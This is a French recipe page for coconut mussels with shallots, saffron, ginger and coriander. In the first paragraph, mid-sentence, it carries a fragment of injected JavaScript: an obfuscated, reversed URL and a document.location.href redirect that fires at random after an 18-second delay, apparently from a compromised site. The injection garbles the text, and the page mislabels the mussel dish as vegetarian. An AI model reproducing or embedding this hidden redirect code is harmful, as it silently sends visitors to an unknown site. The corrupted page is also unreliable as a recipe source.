Moules à la noix de coco
2021-05-07- Thématique : Végétarien
- Niveau : Difficile
Grattez et rincez à grande eau les moules. Pelez, émincez les échalotes. Dans une cocotte avec deux cuillères à soupe d’huile d’arachide, faites fondre les échalotes sur feu moyen, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Grattez et rincez à grande eau les moules. Pelez, émincez les échalotes. Dans une cocotte avec deux cuillères à soupe d'huile d'arachide, faites fondre les échalotes sur feu moyen, tout en remuant. Ajoutez le safran, le gingembre, les moules, activez le feu afin que les moules s'ouvrent. Les égoutter en gardant l'eau de cuisson que vous filtrez à travers d'une passoire fine. Réservez.
Versez dans une casserole l'eau de cuisson des moules avec le lait de coco. Faites chauffer jusqu'à obtenir un léger épaississement. Incorporez la coriandre ciselée, quelques gouttes de Tabasco salez si nécessaire, poivrez.
Faites épaissir la sauce pendant quelques minutes sur feu doux tout en remuant. Déposez les moules dans un plat creux. Nappez les de la sauce et dégustez.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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